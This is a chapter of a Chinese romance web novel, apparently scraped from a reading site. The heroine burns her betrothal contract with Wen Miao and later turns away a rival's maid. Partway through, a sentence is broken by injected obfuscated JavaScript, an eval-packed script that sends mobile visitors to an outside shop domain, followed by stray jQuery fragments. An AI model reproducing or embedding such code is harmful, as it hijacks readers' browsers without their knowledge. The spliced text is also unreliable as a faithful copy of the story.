七八日不曾回来,好似过去了一个世纪。
恍惚间走错房间,还是香芸提醒她,“小姐,房间在这边。”
她哦了一声,魂不守舍的样子,恍惚走进房间。
香芸目睹全程,憋着眼泪,想起那个令小姐伤怀的始作俑者,心里恨得咬牙切齿。
她换完衣衫,香芸要给她上妆。
一照铜镜,眼窝处有淡淡的阴影,眼角浮现细纹,想是没睡好的缘故。
何必矫饰丑态,她在闻缪面前从不遮遮掩掩,一是亲密无间,二是现在没这个必要。
换完一身清爽的衣裙,鬓边斜插一支白玉发簪,敷了胡粉,仅作修容而已。
祠堂周边看守的小厮被撤去,香芸细心周到,不让小丫鬟靠近后宅,一律不准打听。
进了祠堂,黑洞洞的空间里,空无一人。
唯余罗列有秩的牌位,肃穆冷然。
她站在供桌前,接过香芸点燃好的香烛,跪坐在蒲团上,叩首跪拜,心道一声:爹娘,女儿辜负你们的心愿了。
爹娘临终前,一直希望她能嫁给闻缪。如今到了这步田地,这个愿望不仅没有实现,反而铸成大错。
是她无能,连个男人都看守不住。
或许相面的方士说得对,闻缪并非正缘。
主仆两人站在祠堂里,突闻背后乍响——
“阿奴——”同一时间里,闻缪几乎是冲到祠堂,衣衫松松垮垮,头发松散,并未戴冠,用帛带挽缠了事。
整个人形如鬼魅。
香芸不耐地挖了他一眼。
慕容蒹恍若未闻,背对着他,从容起身,将香烛插进香炉。
如果不是有香芸在场,闻缪差点控制不住,想要上前将她紧紧抱住。
“闻哥哥。”事到如今,她还愿意称他一声哥哥,是看在过往的情分上,“我们谈谈吧。”
闻缪步履沉重,缓缓跨入大门,停在她身后。
“阿奴......”
意识到闻缪就在身后,近在咫尺,彼此之间却隔了好几个世纪。她忽地阖眼,心脏突跳着,无端的疼。
“事情既然发生,你也不要心生怨怼。”她背对着闻缪,竭力稳住声线,不让自己情绪崩溃,“我知道你是不愿的,可是事情发生到现在,不是你不情我不愿就可以罢休的。”
“如果可以,我宁愿发生一切的人是我。”慕容蒹语音发颤,咬住唇肉,疼痛的刺激感在齿间弥散,浓浓的血腥味。
“阿奴,这一切并非你想的那样,我是无心的。”闻缪落魄潦倒,伤心欲绝地申诉。
她知道他无辜,后来也细细想过,这其中一定有问题。
可是祸福无门,惟人自召。[1]
难道闻缪真的就无可指摘?别人要想算计,也得有可乘之机。
“我明白你是被陷害的,可是这世上,只有一个闻缪。”她长舒一口气,睁开双眸,天光黯淡,“如果可以的话,我宁愿是你,这样彼此还可以留着体面。”
可惜,这世上没过那么多如果。
“事已至此,不如将错就错。”她眼神悲怆,香芸读懂眼中意,取出藏在柱国将军夫妇牌位后的珠宝匣子。
打开旋钮,一叠红字包放的文书。香芸展开纸张,末尾有慕容蒹与闻缪的姓名,在文书的尾端,还有慕容夫妇与闻家夫妻的手印。
天地为证,日月可鉴。[2]
两姓缔结,礼同掌判,合二姓以嘉姻,诗咏宜家,敦百年之静好,此证。[3]
文书一式两份,闻家夫妇死后,闻家的那份一直是柱国将军夫妇保存。
当着闻缪的面,她将文书取出,悬于烛火之上。
“不——”闻缪冲上前,抢夺文书,可是火焰燃烧得快。不到片刻,火舌吞噬,文书烧成了灰烬。
看着残烬飘摇落地,闻缪红着眼眶,身形不稳。
他猛地从后抱住她,“我已经有办法了,不要再烧了。”
“婚事不能退,阿奴,我有两全其美的法子,你听我说。”
闻缪的手环抱住的腰,她用力挣脱,挣脱不开,无奈地说:“好,我听你说。”
“高月燕答应我了,愿意嫁进来,与你平起平坐。只要你肯答应,我保证她不会为难你。”
慕容蒹难以置信地笑了,笑自己太天真。就连置身事外的香芸都在暗中咬牙。
“放开我——”她现在觉得眼前的事物是如此的令人恶心,如果可以,她宁愿从未喜欢过闻缪。
闻缪不肯放手,愈抱愈紧。
“放手——”她闭了眼,意在给最后的机会,“如果你再不放手,我就杀了你。”
语气前所未有的冷冽,闻缪意识到她真的生气,倏地松开手,退让了几步。
她将剩下的一半文书,置于火焰,任由火焰吞没。
“爹娘在世时,一直将你视若己出。家中财产一直都是你在打理,在你尚未娶高氏女之前,我会让账房先生按利分配,不会亏待你的。”
就算是看在曾经的情谊上,闻缪没有功劳也有苦劳。这么多年,这段感情,彼此都付出了心血与陪伴。
“一定要如此么......”闻缪喃喃地道。
慕容蒹不吭声,做完这一切,撂下闻缪,独自出了祠堂。
默然静立的香芸看了闻缪一眼,眼神复杂,似愤然似心疼,最后化作无尽的惋叹,随同慕容蒹离开原地。
慕容蒹走得飞快,试图将七八年的感情抛诸脑后。一个不留神,从石阶上跌进了园子里。
香芸手忙脚乱地拉人,把她救上来,搀她到廊庑下坐着。
祠堂周边的下人被香芸赶了出去,慕容蒹揉着肿胀的脚踝,没忍住,大声哭了起来。
随即一口鲜血四溅,染红了衣裙。
香芸惊慌失色,“小姐!”
她摆摆手,示意香芸不要惊动旁人,“不是什么大病,吐出来就好了。”
秋风萧瑟,香芸蹲在她脚边,想起那年自己入府的时候,小姐年纪尚小,从廊庑一头牵着闻公子的手,飞快的奔跑着,轻盈的像一只小鸟。
如今物是人非,景色依旧。
慕容蒹伤心至此,卧床歇息了几日。
从祠堂回来后,闻缪不知去了哪里。她没管,也没差人打听。
她明白,亲自烧毁婚约,实在太过残忍,可事实总是要面对的。
外面的人都传疯了,如果这件事不以体面的方式收场,横在二人之间永远是无法逾越的鸿沟。
即便她抗拒退婚,可是事实摆在自己眼前,她不能太自私,她只有舍弃自己,才能保住三人的名声。
养伤的这段时日
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611894|202516||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,慕容蒹躺在家里,一日不曾外出。
期间,世子妃上门探病,宽慰她许多。
闻缪消失了许多日,天蒙蒙亮出门,夜半三更才回来。
脚踝的伤渐好,在香芸的劝说下,慕容蒹终于出门,走路一瘸一拐的,需要人搀着。
她被扶到廊下,看着园中池子里恣意游曳的小金鱼。
小鱼小巧,轻轻一挥手,通人性地游到岸边,张嘴等待喂食。
慕容蒹正喂着鱼,内宅的管事前来通报。
“小姐,高家的侍女来了。”
“来便来了,随便派人打发了就是,何必说与小姐知道。”香芸愠怒不减,没好脾气的吩咐。
管事杵着不动,似有些为难,“她说她是高小姐的贴身侍女,说一定见到小姐的面。”
慕容蒹放下鱼食,随同管事来到会客的外厅里。
她一现身,青萝扑通一声跪在地上,哭求道:“求女公子救救我家小姐。”
香芸瞪一眼地上不知好歹的青萝,扶着人坐下。
慕容蒹挑了挑眉,暂且不说救不救,事关高家她是一点都不想掺和。
奈何人家的侍女求到跟前,总不教撵出去,传扬出去,未免太不近人情。
“你先起来说话。”青萝抹着泪,被管事扶坐起身,坐在下首处。
“奴婢本不配站在这里说话,但是事关小姐,奴婢不得不求女公子。”
“高月燕怎么了?”慕容蒹语气冰冷,空气冷如冰窖。
“女公子是知道的,我家小姐一心爱慕闻公子,听说闻公子日日沉溺于酒色之中。我家小姐听了为此日夜忧心,寝食难安。”青萝担惊受怕地说:“奴婢想,闻公子与女公子有自小的情分在,一定听女公子的话,想请女公子劝劝闻公子,别让我家小姐担心了。”
慕容蒹讥讽一笑,“高月燕都要做闻家妇了,自家男人不着家,找我作甚么?”她讪笑着,“真是天大的笑话。”
“女公子与别的女子不一样,闻公子总要顾及女公子的面子。”被言语嘲讽的青萝无懈可击,各为其主,旁人的生死与自己有何干系。
“就请女公子看在小姐的面上,好歹劝劝闻公子吧。”
她没忍住,忍着发火的冲动,怒极反笑,“高月燕抢了我的人,怎么?我还要鞍前马后为她找男人,这是什么道理?”
“你走吧。”下了最后的逐客令。香芸紧随其后,“这里是柱国将军府,不是你撒野的地方。”
苦求无果,青萝索性心一横,跪在慕容蒹身前,“求女公子给小姐一条活路。”
竟然以死相逼,慕容蒹头疼,挥挥手,让人带青萝出去。
坐在厅里,扶额半晌。
管事战战兢兢通禀,已将青萝送出了府。香芸怒气不减,对管家吩咐,“以后凡是有高家的人上门,通通都打出去。”
慕容蒹坐在园椅里,挥手让管事出去,对香芸说:“你让门房出去打听闻缪在哪里。”
香芸一惊,“小姐,还管那人作甚么,索性由着他去,是生是死都跟咱们没关系。
话虽如此,但任何事都不能做得太绝。
她已经决定放下,就不会任由事态发生影响到自己。
“他总归是慕容家的人,做不成夫妻,还有多年的感情在,希望他能早日看明白。”